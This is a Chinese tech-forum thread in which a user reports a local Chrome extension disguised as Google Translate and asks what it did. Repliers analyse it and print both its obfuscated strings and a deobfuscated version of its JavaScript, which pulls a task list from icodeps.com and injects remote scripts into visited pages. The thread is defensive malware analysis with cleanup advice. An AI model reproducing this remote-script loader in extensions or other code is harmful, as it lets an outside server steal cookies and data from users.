突然发现 chrome 访问任何网站都有个 net::ERR_CONNECTION_CLOSED 的 xhr 失败请求,
地址是,https://www.icodeps.com/jsapi.php
发起请求的 js 代码混淆过了看不太清,大概就是请求这个地址成功后收集信息然后怎样的,
排查插件发现是个伪装成 Google Translate 的本地插件干的,
有点难绷,这是唯一一个本地插件,以前还有别的,所以开发者模式打开了也没注意,
而且这个插件图标右下角有个小图标,现在想来应该就是本地插件的意思,之前没注意,
看创建时间是 2022 年 8 月 12 日,路径是 C:\Program Files\aieoplapobidheellikiicjfpamacpfd
这是公司电脑,之前确实中过毒,具体忘了,那之后就装上 360 了,现在换火绒了,一直以为没事了的,
现在这个病毒插件应该是过期了,服务器关闭了,
但不知道之前做过些什么,搜也搜不到相关信息,有点虚,求大佬看看,
https://gist.github.com/AoEiuV020/3197f2adf7b2137adcc6018781eb2293
完整插件传到 notion 了,
https://aoeiuv020.notion.site/122768ca6ff04cef9c92d15867562262
1
wtfedc 2023-03-22 11:44:52 +08:00
var _0x6c6f = ["log", "GET", "https://www.icodeps.com/jsapi.php", "parse", "countrycode", "tasklist", "countrylist", "url", "type", "rand", "indexOf", "WW", "random", "randres:", "inject", "sendMessage", "runtime", "directloadhead", "script", "createElement", "src", "text/javascript", "async", "defer", "load", "addEventListener", "error", "beforeend", "insertAdjacentElement", "head", "body", "_vv_dev", "floor", "1.0.0.59", "?v=", "directloadbody", "name", ":", "message", "ajax"];
看了一下,主要是在页面插入一个<script>标签,具体行为是动态从接口获取的。可能造成的危害是拿 cookie, localStorage, DDos 肉鸡,csrf 。 吓得我赶紧检查了一下自己的插件。 |
2
AoEiuV020CN OP @wtfedc #1 具体行为是动态的这就很糟了,完全没法知道自己被做了什么,我不干净了,
|
3
oldshensheep 2023-03-22 12:00:41 +08:00 via Android
插件可能会保存动态获取的代码,如果没有卸载的话可以看看有没有存什么数据
|
4
AoEiuV020CN OP @oldshensheep #3 插件还没卸载,但浏览器可能有清过数据,
有没有什么具体位置能看看插件可能保存的文件的? |
5
Fo3256Go 2023-03-22 13:31:31 +08:00
已经中过毒的 PC 都建议重装一次。
不要只是杀完毒就以为可以了。 不要去找已经跑路的病毒作者了,也不要在他的操作里看他窃取了什么。直接默认他已经窃取了这个 Chrome 的所有数据。 所以只要是用这个 Chrome 浏览器登录过的所有账号,一律改密码、加二级认证。如果有登录过网银或者输入过卡号,银行卡密码也要更改,这才是正确做法。 这样查他的操作是没有什么意义的,除非能找到真实姓名然后起诉。 |
6
lilei2023 2023-03-22 14:08:49 +08:00
找工具转了一下,手动替换了变量
``` function fn() { $.ajax({ type: 'GET', url: 'https://www.icodeps.com/jsapi.php', success: function (data) { try { var match = JSON.parse(data); var calleeName = match['countrycode']; var req = match['tasklist']; log(req); for (res of req) { var car = res['countrylist']; var url = res['url']; var session_c = res['type']; var rand = res['rand']; if (car.indexOf(calleeName) > -1 || car.indexOf('WW') > -1) { var randNum = parseInt(Math.random() * rand); log('randres:' + randNum); if (randNum == 0) { if (session_c == 'inject') { chrome.runtime.sendMessage({ action: 'inject', data: url, }); } else { if (session_c == 'directloadhead') { function tmp(i, elem, fn, err) { let script = document.createElement('script'); script.src = i; script.type = 'text/javascript'; script.async = false; script.defer = false; if (fn) { script.addEventListener('load', function () { fn(); }); } if (err) { script.addEventListener('error', function () { fn(); }); } if (elem) { document.head.insertAdjacentElement("beforeend", script) } else { document.body.insertAdjacentElement("beforeend", script) } } } window["_vv_dev"] = false const i = window["_vv_dev"] ? Math.floor(Math.random() * Math.floor(99999999999999)) : "1.0.0.59"; log(url + i); tmp(url,"?v="+i, false) } } } } } catch (e) { log(e["name"] + ":" + e["message"]); } }, }); } ``` |